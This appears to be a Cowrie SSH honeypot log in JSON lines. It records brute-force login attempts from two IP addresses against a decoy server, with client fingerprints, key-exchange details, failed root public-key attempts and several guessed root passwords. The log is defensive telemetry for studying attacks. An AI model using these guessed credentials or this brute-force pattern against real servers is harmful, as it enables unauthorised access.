{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:29.532029Z","src_ip":"60.165.124.241","session":"04ee045cc480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41444,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ea31dceda49","protocol":"ssh","message":"New connection: 60.165.124.241:41444 (10.17.0.5:22) [session: 7ea31dceda49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:29.768236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:29.773518Z","src_ip":"60.165.124.241","session":"7ea31dceda49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:30.016862Z","src_ip":"60.165.124.241","session":"7ea31dceda49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin!@#","message":"login attempt [root/Admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:30.755435Z","src_ip":"60.165.124.241","session":"7ea31dceda49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:31.995345Z","src_ip":"60.165.124.241","session":"7ea31dceda49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44770,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eb1a789347c","protocol":"ssh","message":"New connection: 60.165.124.241:44770 (10.17.0.5:22) [session: 8eb1a789347c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:32.230812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:32.238600Z","src_ip":"60.165.124.241","session":"8eb1a789347c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:32.476335Z","src_ip":"60.165.124.241","session":"8eb1a789347c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.71.214.139","src_port":34850,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd960d78f87e","protocol":"ssh","message":"New connection: 199.71.214.139:34850 (10.17.0.5:22) [session: bd960d78f87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:32.844976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:32.849326Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:32.891626Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:e3:5d:55:ad:dc:83:f7:66:8e:14:6f:6d:3b:47:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5vxsWzkYv3TxGBAG9c3hPpJP1ZImNKmKmbCGRep+rfPFQ2lX9CSWSPV2frWgosi1hF92Fmpe/5iKLfjzkcgb21Lh5P9NJWI/aHtK0EIZiz/ZWYP5twNq/vkf7yMtSK/6iYQVNRF24zqXuSoACn455TpxBRhFw4sv0VDkiAV80/04E8enU6fVq/qD1BSUJHHcSOGNRmjCRuTmFwnK98twMqv7tJ/byKiRVioNoToVohu9zwbbJo/UQUByO5S9KYY+/cQkq+dkoPRHc2QP5z30lVkTiv0h0E2TXeQjIxO3aUbBCLyf4Jylty2myhJdhMiikxXRLLCEWb62+ohFlSy3n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:e3:5d:55:ad:dc:83:f7:66:8e:14:6f:6d:3b:47:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.081888Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:e3:5d:55:ad:dc:83:f7:66:8e:14:6f:6d:3b:47:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5vxsWzkYv3TxGBAG9c3hPpJP1ZImNKmKmbCGRep+rfPFQ2lX9CSWSPV2frWgosi1hF92Fmpe/5iKLfjzkcgb21Lh5P9NJWI/aHtK0EIZiz/ZWYP5twNq/vkf7yMtSK/6iYQVNRF24zqXuSoACn455TpxBRhFw4sv0VDkiAV80/04E8enU6fVq/qD1BSUJHHcSOGNRmjCRuTmFwnK98twMqv7tJ/byKiRVioNoToVohu9zwbbJo/UQUByO5S9KYY+/cQkq+dkoPRHc2QP5z30lVkTiv0h0E2TXeQjIxO3aUbBCLyf4Jylty2myhJdhMiikxXRLLCEWb62+ohFlSy3n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.085807Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:12:4b:01:c6:c9:b4:c0:ab:25:89:e8:d6:78:c5:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbMKFcV+aoeQQHU/L9oirBKwmVctTxIq01QKxA+zlq2gkk0w4kiSe60vWkj5PjaVaqWkgLhFVd2KIsruqki51Lx9bu4RiLWtsCRIRLZ4fCZashxSxdjJMAARzdN6UWmAZlf+OgAjgZEnPxm6TfYr+qxTDOpuFGym1Xcq2YyuFMRIILD/qadQq3Dh84XotsCOJ2zuZ3Wh09aJQibkrcfDkXkI38V9eVZA2jlX8lbHj21e82YjooUqFWLeMOGwdDOND+e0E4cHa6/L+7dYBfUCKI3/3aO7JAsKwHXloeB8q0blTgzpaJjw3SqbWyCLA6ZTgUSulhpI+E+676J/z8faMx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:12:4b:01:c6:c9:b4:c0:ab:25:89:e8:d6:78:c5:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.129066Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:12:4b:01:c6:c9:b4:c0:ab:25:89:e8:d6:78:c5:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbMKFcV+aoeQQHU/L9oirBKwmVctTxIq01QKxA+zlq2gkk0w4kiSe60vWkj5PjaVaqWkgLhFVd2KIsruqki51Lx9bu4RiLWtsCRIRLZ4fCZashxSxdjJMAARzdN6UWmAZlf+OgAjgZEnPxm6TfYr+qxTDOpuFGym1Xcq2YyuFMRIILD/qadQq3Dh84XotsCOJ2zuZ3Wh09aJQibkrcfDkXkI38V9eVZA2jlX8lbHj21e82YjooUqFWLeMOGwdDOND+e0E4cHa6/L+7dYBfUCKI3/3aO7JAsKwHXloeB8q0blTgzpaJjw3SqbWyCLA6ZTgUSulhpI+E+676J/z8faMx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.135840Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:75:c4:2f:db:c5:aa:d4:20:d0:d7:13:15:f5:ce:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAryhVAcrMK7sNzcWbts/0qAfVPPIImIPFiY5oAJQgZ3Grr0dg9u9V+/2119dA9SPyA4T2r1tarmxyVG/l3fJiGT9GTRMqRV1WtqRmd5mozLXbTQA/wCjoV8/u+809pt3QcLncjBhkHocLzeDK2AMjH1gq8UtY4ERKN6M/eGWvullSZuJ11t9CARtEpRHTimtabBJ9SlH1k3iYLUEnwYTkDeUssr6rL8XALgavyEmVGXMGVLkgHl5JZUIvZ6DM8Ej5UHby1jI4IjTLO5eKVB0tAgLUVbG3rATHa6wmsgxDsMYtrrx89SbCFV65AacUMWvsJUOGOBnb4PfMqWucd2Twdd5U5d1u77OIZ0iZQbcBooPXc+KYKUiBMKWf8iVjrg5OmtJp7S9RuMFkZgyBy+pgWFxnaLSTHwNjO4BbLqPgy1bB2UgS8LjjnwfXHuvMG4JHFDC0bm5G2Xo8/aiuz0KdNZhu1i7yiyrKvx72EWIkBGXf21jiO+kq12Q5Z3qSOIT54QV/XF6CyYwcvJKW1/zLObZaeY95TbRqveLVtV2C+mdsmih+J0rKtCrn+KWM5V/SowFVHJjCX7AzpX76zUTWeFlHXWH+pXtatWScFlMALKZVU5h8t1DeJsobHEtherSyKi3JIfZlbJM4SnIafe46n/kHLlLVgdHWV9xP4qjsyFc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:75:c4:2f:db:c5:aa:d4:20:d0:d7:13:15:f5:ce:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.178724Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:75:c4:2f:db:c5:aa:d4:20:d0:d7:13:15:f5:ce:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAryhVAcrMK7sNzcWbts/0qAfVPPIImIPFiY5oAJQgZ3Grr0dg9u9V+/2119dA9SPyA4T2r1tarmxyVG/l3fJiGT9GTRMqRV1WtqRmd5mozLXbTQA/wCjoV8/u+809pt3QcLncjBhkHocLzeDK2AMjH1gq8UtY4ERKN6M/eGWvullSZuJ11t9CARtEpRHTimtabBJ9SlH1k3iYLUEnwYTkDeUssr6rL8XALgavyEmVGXMGVLkgHl5JZUIvZ6DM8Ej5UHby1jI4IjTLO5eKVB0tAgLUVbG3rATHa6wmsgxDsMYtrrx89SbCFV65AacUMWvsJUOGOBnb4PfMqWucd2Twdd5U5d1u77OIZ0iZQbcBooPXc+KYKUiBMKWf8iVjrg5OmtJp7S9RuMFkZgyBy+pgWFxnaLSTHwNjO4BbLqPgy1bB2UgS8LjjnwfXHuvMG4JHFDC0bm5G2Xo8/aiuz0KdNZhu1i7yiyrKvx72EWIkBGXf21jiO+kq12Q5Z3qSOIT54QV/XF6CyYwcvJKW1/zLObZaeY95TbRqveLVtV2C+mdsmih+J0rKtCrn+KWM5V/SowFVHJjCX7AzpX76zUTWeFlHXWH+pXtatWScFlMALKZVU5h8t1DeJsobHEtherSyKi3JIfZlbJM4SnIafe46n/kHLlLVgdHWV9xP4qjsyFc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.182968Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"235689","message":"login attempt [root/235689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.196005Z","src_ip":"60.165.124.241","session":"8eb1a789347c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:e3:39:82:95:ad:84:d5:77:01:79:20:1c:38:ee:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzX0otqx9bQlN90VptjcSs8qNAKOwLRJLhm7DELQ2f6eEmdAcchKoPIAoDGSah1otCystzjCwGYKAx4eu859nlPcgUIOqQ/XLPqGldZB/VnDP1ASuNhsxJ5p4uILy2Fw6krdoBTDPAJAv7detMbEbbEiKdR2EeczbQl4CVYvgxF46OIgNyw8PdoVF9j3u5WrgvrCAvx+g1LzX3/diPG7X4/N/1JGeYmPCXy8HKA2lb7rnMVxSHC4fIHFjoL3kMJP4bVTPTmVY9bTJFvkQcZY/ZNLdx/ymSx/T5Umf14antF/zx2zzuY7cgfp86pvEy0vMmtq/L1t741nTWvuHLdqbHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:e3:39:82:95:ad:84:d5:77:01:79:20:1c:38:ee:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.226104Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:e3:39:82:95:ad:84:d5:77:01:79:20:1c:38:ee:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzX0otqx9bQlN90VptjcSs8qNAKOwLRJLhm7DELQ2f6eEmdAcchKoPIAoDGSah1otCystzjCwGYKAx4eu859nlPcgUIOqQ/XLPqGldZB/VnDP1ASuNhsxJ5p4uILy2Fw6krdoBTDPAJAv7detMbEbbEiKdR2EeczbQl4CVYvgxF46OIgNyw8PdoVF9j3u5WrgvrCAvx+g1LzX3/diPG7X4/N/1JGeYmPCXy8HKA2lb7rnMVxSHC4fIHFjoL3kMJP4bVTPTmVY9bTJFvkQcZY/ZNLdx/ymSx/T5Umf14antF/zx2zzuY7cgfp86pvEy0vMmtq/L1t741nTWvuHLdqbHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.229769Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:5d:96:95:f4:84:d3:63:95:fe:63:21:4a:6a:28:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjBz0s9LX+QDqn66q96xelawEnQQ5lUULYh4FGqaVONfsjrcOf29fQkQfcdkmilFsywzroBwbn1SRD+LtlqAW/skZBhBx3nU83vd9EY1qBTQH5Ty0gWno4CLz9IrOcyrrH4NdqP+vv5OjAmobwHw1Rc9suDqFxq0xmU+nheF8+HUGqvg9sky58692MNodNcIuMeKLwnLxcZ9KDTIocjju8WoxNBEwDdQ2bOSJoc1hTDgvBUq4ssz8hlM23CtWVXE44OvaHhwAl7VsLahmlHmGvsxq8kvvXoOCYDAPF0c/smKprPCoC0XXT67SDmRnzOMFbkhTHyyHhVYZgYAwikI4HuyrCRxEOVFfNNe5lDPatBq2NQ2PPQ3RRPwp/h3fNmHEIQzUiMXh0pdIhU70gkTImK1GrW4xr0GeSqAt2VRBvPRRpVprvHGcY9R7CblNy9wp0pf4RfxePcJGJ8atrgsg+xWAoWF2/f2MPXTeZcaaonT+G2w97s+5zeIZOvjvsfiRAPsNuSp6zdNriYcZJ6tjpHiJIejzwLXo1hay88TB33iwlqM4Y08NGZax8kjDnYvdhuYmKWng32lCm6iRyf5KNf8HNGHQ7Wc5lqQqjPQOBLo37XKUH0GG/pU+AfdDghiKZWDTI7mk+SGAI1Q79BJW/SJrMU+bhiJ+UgF7iIy8nNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:5d:96:95:f4:84:d3:63:95:fe:63:21:4a:6a:28:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.272861Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:5d:96:95:f4:84:d3:63:95:fe:63:21:4a:6a:28:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjBz0s9LX+QDqn66q96xelawEnQQ5lUULYh4FGqaVONfsjrcOf29fQkQfcdkmilFsywzroBwbn1SRD+LtlqAW/skZBhBx3nU83vd9EY1qBTQH5Ty0gWno4CLz9IrOcyrrH4NdqP+vv5OjAmobwHw1Rc9suDqFxq0xmU+nheF8+HUGqvg9sky58692MNodNcIuMeKLwnLxcZ9KDTIocjju8WoxNBEwDdQ2bOSJoc1hTDgvBUq4ssz8hlM23CtWVXE44OvaHhwAl7VsLahmlHmGvsxq8kvvXoOCYDAPF0c/smKprPCoC0XXT67SDmRnzOMFbkhTHyyHhVYZgYAwikI4HuyrCRxEOVFfNNe5lDPatBq2NQ2PPQ3RRPwp/h3fNmHEIQzUiMXh0pdIhU70gkTImK1GrW4xr0GeSqAt2VRBvPRRpVprvHGcY9R7CblNy9wp0pf4RfxePcJGJ8atrgsg+xWAoWF2/f2MPXTeZcaaonT+G2w97s+5zeIZOvjvsfiRAPsNuSp6zdNriYcZJ6tjpHiJIejzwLXo1hay88TB33iwlqM4Y08NGZax8kjDnYvdhuYmKWng32lCm6iRyf5KNf8HNGHQ7Wc5lqQqjPQOBLo37XKUH0GG/pU+AfdDghiKZWDTI7mk+SGAI1Q79BJW/SJrMU+bhiJ+UgF7iIy8nNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.276250Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:33.320485Z","src_ip":"199.71.214.139","session":"bd960d78f87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:34.437842Z","src_ip":"60.165.124.241","session":"8eb1a789347c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47688,"dst_ip":"10.17.0.5","dst_port":22,"session":"be0beab94218","protocol":"ssh","message":"New connection: 60.165.124.241:47688 (10.17.0.5:22) [session: be0beab94218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:34.671600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:34.677324Z","src_ip":"60.165.124.241","session":"be0beab94218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:34.915009Z","src_ip":"60.165.124.241","session":"be0beab94218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxasqw12","message":"login attempt [root/zxasqw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:35.639991Z","src_ip":"60.165.124.241","session":"be0beab94218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:36.880966Z","src_ip":"60.165.124.241","session":"be0beab94218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50714,"dst_ip":"10.17.0.5","dst_port":22,"session":"03df1e7fd547","protocol":"ssh","message":"New connection: 60.165.124.241:50714 (10.17.0.5:22) [session: 03df1e7fd547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:37.146596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:37.151179Z","src_ip":"60.165.124.241","session":"03df1e7fd547","protocol":"ssh"}
